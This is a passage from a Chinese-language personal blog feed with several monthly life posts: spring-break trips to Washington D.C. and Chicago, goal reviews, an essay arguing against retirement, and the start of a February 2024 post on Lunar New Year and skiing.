<p>從大一第一次參加台灣的 PyCon 以來，我也記不太清楚到底參加過多少類似性質的會了。但說也奇怪，我的個性似乎沒有 E 到會喜歡去認識新朋友，但又不夠 I 到對這種活動完全不感興趣，寧可在家睡覺。</p>
<p>這常常使我成為會場上一種奇怪的生物：一個幽靈在會場飄來飄去，自己逛攤位、自己吃午餐、自己聽演講。然後回家之後，又會在午夜夢迴的時候感嘆自己沒有在現實世界交到志同道合的朋友，不管寫了什麼酷酷的 code 都還是沒人可以炫耀。</p>
<p>嗯。總之就是：孩子交點朋友吧。</p>
<h2 id="-世界會成為你想像中的樣子" class="relative group">🦄 世界會成為你想像中的樣子 </h2><p>最後想寫一些最近的感觸</p>
<p>高中快畢業的時候，我發現對考試制度和升學主義有所批評的人總是不少見，同學、學校老師、補習班都有，但有趣的地方在於，批評力度最強的人，卻往往同時是將這些制度發揮到極致的人；比方說分享自己學生時期多痛苦的補習班老師，畢業之後進入補教界，完成這個大業的循環、或是恨極了考試的學生，繼續選了職涯道路上充滿資格、證照考試的科系，然後回到母校跟學弟妹分享這條路有多麼艱辛。</p>
<p>在美國找工作的時候，也有類似的感觸。求職某種程度上來說跟尋找另一半有幾分相似，在履歷上字字珠璣、瘋狂刷題、模擬面試、攀關係都是常見的方式，使用不同方式的同時，也會相對的把自己推向具有相同特質的企業，進而遠離其他不青睞這些特質的公司。</p>
<p>其實跟吸引力法則有幾分相似：</p>
<blockquote>
<p>每個人對世界都有一種想像</p>
<p>想像驅使我們去做出選擇</p>
<p>選擇會將自己推向世界的那一部分</p>
<p>然後我們所認定的世界就會成為我們想像中的樣子</p>
</blockquote>
<p>最終，我們會繼續把故事傳頌下去，去形塑下一個世代對世界的想像，完成這個大業的循環。</p>
<p>如果說每個人都與生俱來一種超能力，或許我的超能力就是一份對世界的無條件信任——我眼中的世界總是欣欣向榮；即便是在最艱困、周遭的人都不得不妥協的時期，我依舊對世界充滿期待，願意相信大環境會獲得改善<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，願意相信我周遭的人事物會善待我，就像我也會無條件的善待它們。</p>
<p>建立並維持這份信任並不容易，但這是我作為一名極端樂觀主義者的理想與堅持。</p>
<p>台灣近期剛經歷了死刑存廢的辯論，面對八成民意，我合理猜測最後憲法法庭的裁決應該是會持續維持現狀。雖然說少數人無法融入這個社會（或者說這個社會容不下這些人）有點可惜，但我為台灣社會給予這個議題討論空間感到驕傲。</p>
<hr>
<p>希望這個結尾不會太沈重，下個月內容預計會有費城遊記、PyCon US、實習上工，敬請期待！</p>
<p><small>結果為了要生《超級瑪利歐兄弟 驚奇》的截圖又拖稿了兩天，因為我的最終關卡一直過不了，真的是會氣死：）</small></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>當然也不排除是我的技巧比起小時候又更加成熟了 :P&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>可以想像成分組畢業專題，但是題目是由業界公司贊助，透過設計某個產品或系統來滿足他們的需求。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>我在 <a href="/zh-tw/posts/2024-february-dump/">2 月報報</a>中對於美國就業市場的評估或許就是一個很好的例子&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-april-dump</guid><pubDate>Thu, 02 May 2024 11:01:07 -0700</pubDate></item><item><title>2024 年 3 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-march-dump/</link><description>快樂放春假之美東大縱走 ᕕ ( ᐛ ) ᕗ</description><content:encoded><![CDATA[<p>這個月除了春假去了華盛頓之外，月底又去了一趟芝加哥，結果 4 月初一回來就開始瘋狂還債，所以這篇文就又遲到了幾天 QQQ</p>
<p>但寫部落格是我現在生活的 tripwire，所以不能輕易妥協 😬<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<h2 id="-washington-dc" class="relative group">🇺🇸 Washington D.C. </h2><p>照去年秋假的傳統，今年春假我們這群 MCDS + MSE 眷屬幫 (?) 一樣有安排出去玩，這次去的美國的首府——華盛頓 a.k.a. 哥倫比亞特區，簡稱 D.C.</p>
<p>這學期大家的課業都比較繁忙一點，幾乎是到出發前一兩個禮拜才開始訂行程，原本的計畫是飛過去，然後坐火車回來，但飛機還沒起飛，價格就先起飛了，於是最後決定直接租兩台車開過去。從匹茲堡開過去大概是 400 公里，4 小時左右。3 年多沒開車的我也在美國首度上路開了一段，希望沒有丟台灣人的臉 (?)</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/tomy-at-postal-museum.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="我在郵政博物館前拿著藍瓶咖啡享受好天氣"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">散步冰咖啡漫步 D.C.</figcaption>
  </figure>


<p>這一趟原本最主要的目的是賞櫻花，可是我們的春假有點&hellip;太早了，到 D.C. 的時候只開了零星幾棵，沒有原本預期的大片河岸櫻花 QQQQ</p>
<p>沒有支線還是可以解一些主線任務啦，而 D.C. 的主線就是一拖拉庫的博物館、異國美食、還有首都公園裡的各種紀念堂、紀念館和雕像。</p>
<p>簡單來說，如果你不小心對美利堅歷史產生了某些重要的影響，那合眾國政府給你的款待就是可以從下面幾個選項中選一個你喜歡的禮物：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>說明</th>
          <th>誰選了這個</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>紀念碑</td>
          <td>一座塔，附贈頂樓觀景台</td>
          <td>華盛頓</td>
      </tr>
      <tr>
          <td>紀念堂</td>
          <td>通常是一座建築物，裡面講述你的豐功偉業</td>
          <td>傑佛遜、林肯</td>
      </tr>
      <tr>
          <td>紀念園區</td>
          <td>跟上面的功能差不多，只是是露天的</td>
          <td>小羅斯福、金恩博士、愛因斯坦</td>
      </tr>
  </tbody>
</table>
<p>有的還會多送一個雕像，尺寸跟本人的豐功偉業 (大致) 成正比。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/washington-monument.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="華盛頓紀念碑"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/abraham-lincoln-statue.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="林肯雕像"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">左：華盛頓紀念碑<br/>右：林肯雕像，雖然是坐著的，但如果他站得起來，應該可以跟橫濱港的鋼彈打一架。</figcaption>
<p>如果你不是政客，或是絕頂聰明，要能夠出現在這座公園裡面還有一個 (其實也沒有很) 簡單方式：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/korean-war-veterans-memorial.jpg"
      class="mx-auto my-0 rounded-md"
      alt="韓戰大兵雕像"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">成為殉職的民主外送師，像是這些韓戰大兵</figcaption>
</figure>
</p>
<p>曾經參與下列戰爭，你可以享有：</p>
<ul>
<li>韓戰：名字被刻在一面牆上</li>
<li>越戰：名字被寫在一本大冊子</li>
<li>二戰：跟另外 99 個人共享一顆牆上的金星</li>
</ul>
<p>嗯果然生命的價值還是不完全平等的。</p>
<p>怎麼好像不小心寫了很多奇怪的東西？？？？？總之，如果你對美國歷史有興趣的話，相信 D.C. 會非常適合你。其他關於 D.C. 的實用小撇步都寫在這份<a href="https://docs.tomy.me/travel/cities/washington-dc" target="_blank" rel="noreferrer">旅遊指南<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了，之後有機會造訪的話歡迎參考。</p>
<h2 id="-chicago" class="relative group">🇺🇸 Chicago </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/chicago-skyline.jpg"
      class="mx-auto my-0 rounded-md"
      alt="芝加哥天際線"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>大概在出發前往 D.C. 的前幾天，趁著難得的假期，我開始翻今年暑假去實習的時候西岸有什麼演唱會可以去。結果西岸的沒找到，倒是意外發現 LANY 要來芝加哥巡迴，也剛好：</p>
<ul>
<li>距離不會太遠，飛機單程大約 1 小時就會抵達</li>
<li>這學期的課都在星期一到三，如果三晚上就出發，星期天回來，最長可以去 5 天 4 夜</li>
<li>3 月底的那個禮拜剛好 <abbr title="Cloud Computing">CC</abbr> 沒有 Project 要做 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
</ul>
<p>我簡單估了一下，大概 $300 鎂可以解決，似乎是挺不錯的，於是一個晚上就把行程全訂了 😛 <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/lany-at-chicago.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="LANY 在芝加哥演唱會"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">關於芝加哥，LANY 的主唱 Paul 是這麼說的：</figcaption>
  </figure>


<blockquote>
<p>It&rsquo;s Everything you liked about New York</p>
<p>Minus everything you don&rsquo;t liked about New York</p>
</blockquote>
<p>具體來說就是：</p>
<ul>
<li>✅ 各式高樓大廈與繁華的大都會</li>
<li>✅ 豐富、多元的文化</li>
<li>❌ 髒亂的街道和地鐵</li>
<li>❌ 暴躁的市民</li>
</ul>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/chicago-street-with-american-flag.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="美國國旗懸掛在芝加哥街頭"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/chicago-street.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="乾淨整潔的道路"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">真的是乾淨到一度會懷疑這裡是不是美國：）</figcaption>
<p>真的要說有什麼缺點，大概就是什麼都超貴，物價本身就很貴了，芝加哥的州稅加上城市稅高達 10.25% 真的是會有點吃不消。還記得我到的第一個晚上，去吃了芝加哥最知名的<a href="https://zh.wikipedia.org/wiki/%E8%8A%9D%E5%8A%A0%E5%93%A5%E6%8A%AB%E8%96%A9" target="_blank" rel="noreferrer">深盤披薩<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-march-dump/chicago-deep-dish-pizza.jpg"
      class="mx-auto my-0 rounded-md"
      alt="芝加哥深盤披薩"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">一人份的小披薩，切四片，配一杯飲料，就 $25 鎂了？？？？</figcaption>
</figure>
</p>
<p>我回旅館在電梯裡看著發票深深的嘆了一口氣，旁邊的德國人馬上舉起手上的啤酒說：「這也超貴」。</p>
<p>所以接下來幾天的行程，幾乎也都是去看些不用錢的景點，公園散個步，或是逛街之類的，反正我相信這不會是我最後一次來芝加哥，那些 fancy 的行程就留給以後發大財的我吧 (希望有這一天啦)</p>
<p>身為一個都市小孩，生活在這種大城市還是比較悠然自得一些，如果想體驗稍微美式一點的大都會，相信芝加哥會非常適合你。跟華盛頓一樣，芝加哥也有寫了一份<a href="https://docs.tomy.me/travel/cities/chicago" target="_blank" rel="noreferrer">旅遊指南<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，有興趣的話歡迎自行移駕</p>
<h3 id="-彩蛋" class="relative group">🌈 彩蛋 </h3><p>芝加哥之旅的最後一個彩蛋，是跟失散多年沒見面的國小同學相遇，一起去吃早午餐。聊著在學校的種種往事，還有各自如何走到現在這一步，好像親自演出了一場蒙太奇電影。</p>
<p>生命中會有許多來來去去的過客，有時會心繫著某些關係，同時讓另一些悄悄逝去，但緣分有時也會以意想不到的方式再回來，我想這也是我喜歡旅遊的很大原因之一——不經意的相遇，總是超出期待。</p>
<p>而我也會期待下一次的再相遇。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p>這個月花了很多時間在旅遊，出去玩前要先<del>拆炸彈</del>把作業寫完，回來又要還債，所以行程變得相對不穩定許多，目標執行起來也難了一點，可見我之前對 Mini-4 的時間安排還是太樂觀了 🤔</p>
<p>原本以為只有星期一到三有課，四五六日有整天可以運用會做很多事，結果事實證明：</p>
<ol>
<li>星期四五大部分最後變成用來補足一三失去的睡眠</li>
<li>時間太多反而因為排列組合的選項太多，最後難以安排</li>
<li>一看到大塊時間就想塞一堆事做，但實務上還是有極限，勸未來的我還是放棄這種不可取的妄想比較實際：）</li>
</ol>
<h3 id="-一週一文" class="relative group">🟡 一週一文 </h3><p>寫了一篇——<a href="/zh-tw/posts/never-retire/">也許我永遠不會退休</a>，然後就被 Mini-4 新學期的課表打亂了。</p>
<p>Lecture Day 還在，只是不像之前一樣是固定在禮拜四，而是我每個週末事先把下禮拜的行程排好才會有。這個月有嘗試想寫英文的 Blog，只是寫起來對現在的我來說還是太費時，所以這篇文目前只完成了 80% 左右 QQQQ</p>
<h3 id="-多拍些照片" class="relative group">🟡 多拍些照片 </h3><p>原本上個月訂這個目標的時候，其實想解決的是，我會因為平常生活的乏味，而失去拍照紀錄生活的動力。即便這個月確實是拍了不少照片，但多的是來自出去玩拍的照片，好像沒有很好的解決原本的問題 🤔</p>
<p>之前跟 HW 在吃飯的時候就有聊到，大家好像都會「因為有一台好相機/手機」，而突然對拍照產生興趣。相對的，當手機的畫質開始下降，自然就會失去許多拍照的動力。我在芝加哥就有好幾次想拍夜景，但手機拿起來之後怎麼調都調不出想要的效果，最後乾脆快門不按就把手機收回口袋了。</p>
<p>我以前認為，之所以會覺得手機的畫質變差，是因為新的機型出來，產生了比較心態，自然就會相對的覺得自己的手機畫質變差。但最近的新想法是：手機本來就會有自然損耗，鏡頭用久了就是會磨損、會入塵，即便沒有比較的對象，使用了三五年拍出來的照片本來就會有點霧霧的，或是有光暈。</p>
<p>好啦，說這麼多就是想換手機而已，扯這麼多 ¯\_(ツ)_/¯</p>
<h3 id="-一週一料理" class="relative group">🟡 一週一料理 </h3><p>同樣爆了。</p>
<p>我現在有幾套固定的快速料理選項，所以當我現在有其他迫在眉睫的代辦事項，就會更 prefer 隨便煮煮隨便吃，而不去嘗試更多其他新的料理。</p>
<p>我在料理似乎總是缺乏動力，又缺乏想法。加上對吃又不怎麼講究，情勢可以說是雪上加霜，真是有點不知道該怎麼繼續進展，唉</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>最近有種心有餘而力不足的感覺&hellip;&hellip;也許是不重要的雜事 (比方說學校的各種作業) 變多了，也可能是重要的事差不多吿一個段落之後，大腦和身體就自然的鬆懈下來了吧。</p>
<p>再下個月會有蠻多重要的事，這個月的目標就是——沒有目標，去耍廢。</p>
<p>啥也不是，散會！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>最近修的一堂課在教談判，談判學裡有兩道防線叫做 BATNA 跟 tripwire。BATNA 可以簡單想像成是底線，tripwire 則是底線的前哨，如果你發現自己被迫退守到 tripwire，就代表你可能要開始做最壞的打算，並且需要重新評估你的底線是否仍舊有效。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>CC 全名 Cloud Computing，雲端運算，是我這學期修的一門課，通常一份作業 (Project) 會耗時兩週的工時&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>至於事後被這些美國垃圾 fees 擺了一道就是<a href="https://www.threads.net/@tomy0000000/post/C4CLIUNLgHH" target="_blank" rel="noreferrer">另外一個故事<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-march-dump</guid><pubDate>Mon, 08 Apr 2024 01:29:56 -0400</pubDate></item><item><title>也許我永遠不會退休</title><link>https://blog.tomy.me/zh-tw/posts/never-retire/</link><description>但不代表我想工作到死</description><content:encoded><![CDATA[<p>其實這個想法算是醞釀了好一段時間，我在年初回台灣的時候也有跟很多人聊到這個概念。最近整理一下思緒之後，覺得是蠻值得寫下來的題材。特別是如果 10 年之後回頭來看，不管是證明我富有先見之明還是證明年輕人就是只會亂講話，應該都會蠻好玩的 (?)</p>
<p>先講結論：</p>
<blockquote>
<p>我不認為我會退休，而且絕大多數人也不應該退休</p>
</blockquote>
<p>雖然主要來自現實考量，但我不認為這是一件壞事。甚至說，當有了這個前提，看待人生的方式會產生微妙的變化，很多看似艱難的決定也會瞬間變得簡單許多。</p>
<h2 id="新常態" class="relative group">新常態 </h2><p>近年來，我意識到了幾個社會新常態：</p>
<ul>
<li>生活品質：絕大多數的人退休之後，沒辦法維持退休前原有的生活品質。通常是因為退休存款有限，所以日常生活的花費會更捉襟見肘。</li>
<li>經濟的不確定性：疫情的時候才上演一次，就算保住了一條小命，也終究難逃解封之後的通貨膨脹，退休金縮水導致 (經濟上的) 預期壽命減少。</li>
<li>老年化社會：人類意識到這個問題至今也至少 20 年了，但把它當一回事的人似乎屈指可數。退一萬步來說，不管社會上有多少老人，超過三分之一的人口不事生產本來就不切實際</li>
</ul>
<p>所以概念上來說，這個社會可以躺平的空間正在大幅減少；實務上來說，就算鐵了心不幹了，也會馬上被經濟的大浪捲走。</p>
<h2 id="工作是人一生中難以避免的一大塊" class="relative group">工作是人一生中難以避免的一大塊 </h2><p>之前看到一篇 <a href="https://www.reddit.com/r/Showerthoughts/comments/197i432/its_crazy_how_many_people_spend_40_or_more_hours" target="_blank" rel="noreferrer">Reddit<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，內文被刪掉了標題還在，跟我想講的概念滿類似的</p>
<p>假若預期壽命為 100 年<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，大多數人的人生大概是：</p>
<ul>
<li>25 年唸書</li>
<li>50 年工作</li>
<li>25 年退休</li>
</ul>
<p>所以光工作就佔了人生的一半，如果活不到 100 歲，少的也都會是退休的日子，工作佔據的人生會更多。</p>
<p>要說有多少人熱衷於自己的工作也許太奢侈，但討厭自己工作的人，那還真是多到數不清。</p>
<h2 id="延後享樂本身也不切實際" class="relative group">延後享樂本身也不切實際 </h2><p>我們都聽過：年輕時拼一點，夢想等老了再去實現就好了。</p>
<p>大四那年修了一門課，是一個早就該退休的教授開的，結果那門課還沒上完，教授本人就下課了，他走的時候，辦公室的牌子都還掛在門上。</p>
<p>雖然我跟教授素昧平生，但我衷心希望他在大學的教學生涯是快樂且充實的。</p>
<h2 id="園遊會" class="relative group">園遊會 </h2><p>不知道大家有沒有在學校園遊會擺攤的經歷，在我看來，每個班都一定會有這兩種人：</p>
<ul>
<li>跟每個朋友拍到照片，喝了好幾杯乾冰汽水，吃了好幾盤炒泡麵，有些甚至叫朋友免費給的，說等等換他顧攤也會偷偷請，結果他從來沒有回去顧攤位</li>
<li>從頭到尾都在攤販的某個固定的位置，擠一整天的番茄醬，你問他沒有別人接手嗎，他說他們去負責其他東西了，反正在這裡也很開心</li>
</ul>
<p>其實這就是社會的縮影，只是大家也許沒有認真思考自己扮演的角色是什麼樣子罷了</p>
<h2 id="解答" class="relative group">解答 </h2><p>綜合以上各點，我得到的結論是這樣：</p>
<ul>
<li>不要退休
<ul>
<li>錢會變得相對不那麼重要，因為不用擔心怎麼存退休金<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>職場的挑戰有助於維持身心靈在活動的，腦死的機率會大幅降低</li>
</ul>
</li>
<li>工作
<ul>
<li>必須能夠讓我保持熱忱</li>
<li>因為會佔據生命中絕大多數的時間，所以這份工作必須從第一天就是開心的</li>
<li>如果不能維持，馬上走人，反正新工作只要養的活自己，錢不重要</li>
</ul>
</li>
<li>休假
<ul>
<li>能放多少假就放假，換再多錢都不值得</li>
<li>享受人生的每一刻。反正真出了什麼意外，至少不可惜<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
</ul>
</li>
<li>夢想，和想做的事情
<ul>
<li>沒有什麼「之後不忙的時候」，如果現在會忙，以後也會</li>
<li>那些想留到退休之後才做的事，現在就可以開始</li>
<li>也許你會跟我一樣，意外發現自己的 bucket list 不需要活到 100 歲就有機會完成</li>
</ul>
</li>
</ul>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>也許你會覺得預期 100 年太過樂觀，但容我提醒：目前全球的預期壽命差不多是 72, 73 歲上下，假設現在剛好有一位 73 歲的阿公坐在咖啡廳悄悄走了，他 25 歲時候全球的預期壽命也才 59 歲。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>但當然還是會有部分的緊急儲備金，或是為了某個目的的特殊存款。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>雖然這樣講可能有點怪，但就算我現在突然走了，我目前達成的成就和經歷，以 20 幾歲的標準，其實沒什麼好遺憾。&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">never-retire</guid><pubDate>Fri, 15 Mar 2024 02:19:25 -0400</pubDate></item><item><title>2024 年 2 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-february-dump/</link><description>登陸諾曼第</description><content:encoded><![CDATA[<p>寫這篇文的時候剛好上半個學期結束，準備開始放春假。跟上個學期比起來，這個學期的課業真的是輕了很多，加上這個月上岸了，感覺生活又開始愜意許多，可以重拾生活很多其他想做的事情，<del>還有亂買之前發下豪語說上岸就買的垃圾。</del></p>
<h2 id="-美式要飯過年" class="relative group">🧧 美式<del>要飯</del>過年 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-february-dump/chinese-new-year.jpg"
      class="mx-auto my-0 rounded-md"
      alt="平安夜聚餐合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">又要到飯啦，兄弟們 XDDD</figcaption>
</figure>
</p>
<p>其實我第一次不在家過年應該是前年在法國的時候，但今年應該算是比較正式的第一次有過年。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> 白天在學校 MSE 舉辦了 Luner New Year 的活動，然後晚上我們一大坨台灣人煮了一桌的年夜飯，然後按習俗喝酒打麻將跟玩 Switch。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-february-dump/chinese-new-year-dinner.jpg"
      class="mx-auto my-0 rounded-md"
      alt="平安夜聚餐合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">沒有要臭，但這桌應該比我在台灣過年吃的還要好 😂</figcaption>
</figure>
</p>
<h2 id="-滑雪" class="relative group">🏂 滑雪 </h2><p>回來的時候雪也融的差不多了，但是學生會今年還是有舉辦 Ski Day 的活動，然後我也不小心就抽中了 嘻嘻</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-february-dump/snowboarding.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="我站在雪道的照片"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>雖然有幾次摔到以為我要轉生了，但感覺我應該再滑個幾次就可以掌握七、八成了 (?) 想必是小時候玩太多 Wii Fit 練就的平衡感吧哈哈哈哈</p>
<h2 id="-lecture-thursday" class="relative group">📚✍🏻 Lecture Thursday </h2><p>這學期的課幾乎都是早上的課，中午吃完飯下午沒事就可以回家躺了 (X)。</p>
<p>說是回家躺，其實還是有想做一些雜事或是正事，但可能也是真的住夠久了，就算家裡有螢幕，做事應該是更事半功倍，實際上還是很容易直接躺回去。</p>
<p>於是就想到了一個新 Idea —— Lecture Thursday</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-february-dump/lecture-thursday.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="筆電的背後是放晴的草皮"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">風和日麗的星期四下午，找個咖啡廳坐下來看書然後寫點 Blog 吧！</figcaption>
  </figure>


<p>目前體驗還不錯，仿佛生活頓時被賦予了儀式感 ✨</p>
